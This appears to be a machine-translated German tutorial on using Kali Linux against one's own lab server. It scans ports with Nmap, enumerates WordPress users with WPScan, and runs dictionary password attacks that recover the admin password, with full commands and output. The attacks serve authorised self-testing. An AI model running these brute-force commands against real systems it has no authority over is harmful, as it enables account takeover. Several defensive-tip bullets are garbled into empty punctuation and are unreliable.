Kali und andere ähnliche Tools helfen dabei, Schwachstellen in Ihrer Software zu erkennen. Und es ist besser, wenn Sie sie zuerst finden und nicht die Eindringlinge.
Sie können eine Ahle nicht in einem Sack verstecken: Aus Unwissenheit (wenn auch in einigen Fällen - absichtlich) hinterlassen sogar große Unternehmen Löcher in ihrem Sicherheitssystem. Es ist wichtig, (1) sie so schnell wie möglich zu lokalisieren und (2) zu beheben. Glücklicherweise gibt es viele verschiedene Produkte, die beim ersten Punkt helfen. Darunter befindet sich Kali , eine Linux-Distribution, die für Sicherheitstests entwickelt wurde. In diesem Artikel werde ich Ihnen zeigen, wie Sie mit Kali Linux Ihr System untersuchen und Schwachstellen finden, indem Sie einen Angreifer simulieren.
Die Kali-Distribution enthält viele Tools, die alle Open Source sind. Es reicht aus, die Installation der Distribution auszuführen, und alle diese Tools sind sofort verfügbar.
Bild : Peter Gervase , CC BY-SA 4.0
Ich werde zwei Systeme als Testpersonen verwenden:
- kali.usersys.redhat.com : 30 GB Speicher und 6 virtuelle CPUs. Dieses System scannt das Opfer und startet Angriffe.
- verwundbar.usersys.redhat.com : Ein System mit Red Hat Enterprise Linux 8 an Bord. Hier muss es angegriffen werden.
Ich habe die technischen Eigenschaften der Ausrüstung hier aus einem bestimmten Grund erwähnt. Einige unserer Aufgaben stellen hohe Anforderungen an die Hardware, insbesondere an die System 2-CPU, auf der der WordPress-Sicherheitsscanner ( WPScan ) ausgeführt wird.
Suchen Sie nach offenen Ports
Ich habe mit einem einfachen Scan von System 2 begonnen. Durch Scannen des Systems mit Nmap können Sie herausfinden, welche Ports und Dienste von System 1 aus sichtbar sind, um den Scan zu starten.
Bild : Peter Gervase , CC BY-SA 4.0
Das erste, was Sie tun müssen, ist, einige „interessante“ offene Ports zu finden - potenzielle Schwachstellen. Tatsächlich ist jeder offene Port interessant, da er das Netzwerk eher gefährdet. In diesem Beispiel sind 21, 22, 80 und 443 auch Ports für häufig verwendete Dienste. Aber im Moment mache ich nur Intelligenz und versuche so viele Informationen wie möglich über das System zu bekommen, das ich hacken möchte.
Danach werde ich für eine eingehendere Analyse Port 80 auswählen und den Befehl Nmap mit den Argumenten -p 80 und -A ausführen. Auf diese Weise können Sie Informationen über das Betriebssystem und die Anwendung abrufen, die Port 80 verwendet.
Bild : Peter Gervase , CC BY-SA 4.0
Hier interessieren uns folgende Zeilen:
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux)) |_http-generator: WordPress 5.6.1
Informationen über Benutzer finden
Da ich jetzt weiß, dass dies ein WordPress-Server ist, kann ich WPScan verwenden, um Informationen über potenzielle Schwachstellen abzurufen. Es wäre schön, mehrere Benutzernamen und deren Passwörter zu finden. Um sie in einer bestimmten WordPress-Instanz zu finden, verwenden Sie die Optionen --enumerate u: Großartig, zwei Benutzer gefunden: admin und pgervase . Ich werde versuchen, das Passwort für den Administrator mithilfe von Passwortwörterbüchern zu erraten - einer Textdatei mit einer Reihe möglicher Optionen. Ich werde Wörterbücher mit 3.231 und 3.543.076.137 Zeilen verwenden.
┌──(rootkali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021
Interesting Finding(s):
...
[i] User(s) Identified:
[+] admin
| Found By: Author Posts — Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] pgervase
| Found By: Author Posts — Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Passwort erraten mit Wörterbuchangriff
Für Wörterbuchangriffe können verschiedene Tools verwendet werden. Hier sind zwei Beispielbefehle mit Nmap und WPScan:
# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt
Diese beiden Tools können natürlich noch viel mehr, eignen sich aber auch zum Erraten von Passwörtern.
Dieser WPScan-Befehl zeigt beispielsweise das Kennwort am Ende der Datei an:
┌──(rootkali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021
Interesting Finding(s):
…..
[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57
<==================================================================================================================>
(3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57
<=========================================================
> (3231 / 6462) 50.00%
ETA: ??:??:??
[SUCCESS] — admin / redhat
[!] Valid Combinations Found:
| Username: admin, Password: redhat
Der Abschnitt Valid Combinations Found am Ende enthält den Benutzernamen admin und sein Passwort. Es dauerte nur zwei Minuten, um über 3.231 Zeilen zu iterieren.
Ich habe eine andere Wörterbuchdatei mit 3.238.659.984 eindeutigen Einträgen, die viel länger dauern wird.
Nmap liefert viel schneller Ergebnisse:
┌──(rootkali)-[~]
└─# nmap -sV --script http-wordpress-brute
--script-args userdb=users.txt,passdb=password.txt,threads=6
vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
| Accounts:
| admin:redhat — Valid credentials <<<<<<<
| pgervase:redhat — Valid credentials <<<<<<<
|_ Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
3306/tcp open mysql MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
Ein solcher Scan kann zwar anhand der HTTPD-Protokolle verfolgt werden, die im gefährdeten System erkannt werden:
10.19.47.170 - — [18/Feb/2021:20:14:01 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)»
Suche nach Heartbleed Vulnerability
Um Informationen über den HTTPS-Server und die SSL / TLS-Protokolle zu erhalten, verwende ich den Befehl sslscan:
┌──(rootkali)-[~]
└─# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev xx XXX xxxx
Connected to 10.19.47.242
Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 disabled
TLSv1.0 disabled
TLSv1.1 disabled
TLSv1.2 enabled
TLSv1.3 enabled
<snip>
Wir sehen, dass in den auf dem Server verwendeten Protokollversionen keine Heartbleed-Sicherheitsanfälligkeit gefunden wurde:
Heartbleed: TLSv1.3 not vulnerable to heartbleed TLSv1.2 not vulnerable to heartbleed
Das bedeutet, dass ich über das Heartbeat-Modul nicht auf RAM- und Serverdaten zugreifen kann. Nun ... es ist kein Schicksal :)
Tipps zur Verhinderung und zum Schutz von Hacking
Sie können viele Artikel darüber schreiben, wie Sie Angriffen von Hackern aller Art widerstehen können. Hier beschränke ich mich auf allgemeine Empfehlungen:
- Untersuchen Sie Ihr System : Welche Ports sind geöffnet, welche Ports sollten geöffnet sein, wer sollte diese Ports sehen können und wie viel Verkehr sollte durch sie gehen. Nmap um dir zu helfen.
- : , , . .
- : , , WordPress, IP- . , IP- , . , .
- : , .
- : , . , .
- , : , « - ».
- Nutzen Sie zusätzliche Tools Ihrer Softwareanbieter: Red Hat Enterprise Linux enthält beispielsweise Red Hat Insights , um Ihr System zu optimieren und Sie rechtzeitig auf potenzielle Sicherheitsbedrohungen aufmerksam zu machen.
Nützliche Materialien (auf Englisch)
Was in diesem Artikel beschrieben wird, ist nur die Spitze des Eisbergs. Um tiefer zu tauchen, können Sie die folgenden Ressourcen erkunden:
Cloud-Server von Macleod sind schnell und sicher.
Registrieren Sie sich über den obigen Link oder indem Sie auf das Banner klicken und erhalten Sie 10% Rabatt für den ersten Monat der Anmietung eines Servers einer beliebigen Konfiguration!